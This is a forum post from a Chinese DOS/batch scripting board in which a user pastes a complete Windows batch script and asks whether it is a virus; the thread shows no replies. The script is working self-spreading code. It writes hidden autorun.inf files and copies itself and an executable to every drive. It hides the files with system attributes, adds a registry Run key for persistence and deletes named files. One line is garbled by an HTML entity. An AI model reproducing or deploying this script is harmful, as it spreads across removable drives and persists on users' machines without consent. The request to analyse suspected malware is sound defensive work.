![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-04 15:16 |
共 48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 帮忙解释一段批处理意思怀疑是病毒 |
| 可打印版本 618 / 0 |
| 第1楼 bbq123bbq | 发表于 2007-05-14 13:53 |
| 初级用户 发帖 77 积分 197 | |
|
帮忙解释一段批处理意思怀疑是病毒 @echo off
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS cd /d "%~dp0" if /i "%cd%"=="%~d0\" (explorer.exe "%~d0") set v=1 set "endf=%systemdrive%\ubye.txt" echo.Wscript.sleep 10000>sleep.vbe attrib sleep.vbe +a +s +r +h if /i not "%cd%"=="%systemroot%" (call:cb&del/a/f/q sleep.vbe&goto :eof) set dl=CDEFGHIJKLMNOPQRSTUVWXYZ set n=0 call:inf >inf.tem call:ql "%systemroot%\U盘病毒分析Beta3.exe" echo.Wscript.sleep 10000>sleep.vbe :s echo. >uishere-%v%.txt if exist "%endf%" (goto end) if "!dl:~%n%,1!"=="" (set n=0&sleep.vbe) set d=!dl:~%n%,1!: set /a n=n+1 if not exist %d% (goto s) if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f rd "%d%\autorun.inf" /s /q) if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call U盘病毒分析.bat -a -l -d %d:~0,-1% -c -i -s&goto s1)) else (goto s1) if not exist "%d%\%~n0.vbe" (goto s2) if not exist "%d%\%~nx0" (goto s3) if not exist "%d%\U盘病毒分析Beta3.exe" (goto s4) if exist %d%\%date:~0,10%.sk (goto s) :s1 call:inf >%d%\autorun.inf attrib %d%\autorun.inf +a +s +r +h if exist "%d%\%~n0.vbe" (del /a /f /q "%d%\%~n0.vbe") :s2 call:vbe >"%d%\%~n0.vbe" attrib "%d%\%~n0.vbe" +a +s +r +h :s3 call:copy "%~dpnx0" "%d%\" :s4 call:copy "U盘病毒分析Beta3.exe" "%d%\" if exist %d%\*.sk (del /a /f /q %d%\*.sk) echo.>%d%\%date:~0,10%.sk attrib %d%\%date:~0,10%.sk +a +s +r +h goto s :cb if exist "%systemroot%\uishere-*.txt" (del /a /f /q "%systemroot%\uishere-*.txt"&sleep.vbe) if exist "%systemroot%\uishere-*.txt" (if exist "%systemroot%\uishere-%v%.txt" (goto :eof) else (echo.>"%endf%"&sleep.vbe)) call:copy "%~dpnx0" "%systemroot%\" call:copy "U盘病毒分析Beta3.exe" "%systemroot%\" if exist "%systemroot%\%~n0.vbe" (del /a /f /q "%systemroot%\%~n0.vbe") call:vbe >"%systemroot%\%~n0.vbe" reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /t REG_SZ /d "%systemroot%\%~n0.vbe" /f start "" /wait /d "%systemroot%\" "%systemroot%\%~n0.vbe" goto :eof :vbe echo.set ws=wscript.createobject("wscript.shell") echo.ws.run "%~nx0 /start",0 goto :eof :inf echo.[AutoRun] echo.open=wscript.exe %~n0.vbe echo.shell\open\Command=wscript.exe %~n0.vbe echo.shell\explore\Command=wscript.exe %~n0.vbe echo.shell\find\Command=wscript.exe %~n0.vbe goto :eof :copy if exist "%~dp2%~nx1" (del/a/f/q "%~dp2%~nx1") attrib "%~1" -s -h copy "%~1" "%~dp2" attrib "%~1" +s +h attrib "%~dp2%~nx1" +s +h goto :eof :ql cd /d "%systemroot%\" del /a /f /q Anti-U盘免疫.bat ReadMe.txt uda-解压.bat uda.exe U盘病毒分析.bat zap.exe 主操控.bat cd /d "%~dp0" goto :eof :end call U盘病毒分析.bat -c&call:ql&del/a/f/q "%~dp0sleep.vbe" "%endf%" inf.tem "U盘病毒分析Beta3.exe" "%~n0.vbe" "%~nx0" "uishere-%v%.txt"® delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /f |
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |